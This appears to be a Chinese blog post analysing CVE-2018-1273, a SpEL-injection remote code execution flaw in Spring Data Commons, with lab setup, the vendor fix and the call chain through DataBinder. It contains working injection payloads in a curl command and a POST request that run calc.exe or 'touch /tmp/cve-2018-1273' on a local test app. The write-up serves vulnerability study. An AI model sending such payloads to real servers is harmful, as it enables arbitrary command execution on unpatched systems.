Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

commit:https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653

 

由于StandardEvaluationContext权限过大,可以执行任意代码,会被恶意用户利用。SimpleEvaluationContext的权限则小的多,只支持一些map结构,通用的jang.lang.Runtime,java.lang.ProcessBuilder都已经不再支持。

 

环境搭建

1、下载漏洞环境https://github.com/wearearima/poc-cve-2018-1273,导入idea并进行maven加载。

2、加载完成以后直接在命令行输入curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"

即可弹出计算器。

 

poc

POST /users?page=&size=5

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/cve-2018-1273")]=&password=&repeatedPassword=

在MapDataBinder的setPropertyValue方法中,将propertyName中恶意代码执行。

通过调用栈能看到整个调用链。

ProxyingHandlerMethodArgumentResolver的createAttribute方法又调用了DataBinder的bind方法来对我们传入的数据进行处理。

bind方法调用了doBind,最后调用了DataBinder类的applyPropertyValues方法对mpvs参数进行处理。接着又调用了AbstractPropertyAccessor的setPropertyValue方法

 

 

 

  

最后回到MapDataBinder的setPropertyValue方法

 

在这里使用了StandarEvaluationContext类来对Spel表达式进行处理。

posted @   Cold灬  阅读(766)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
点击右上角即可分享
微信分享提示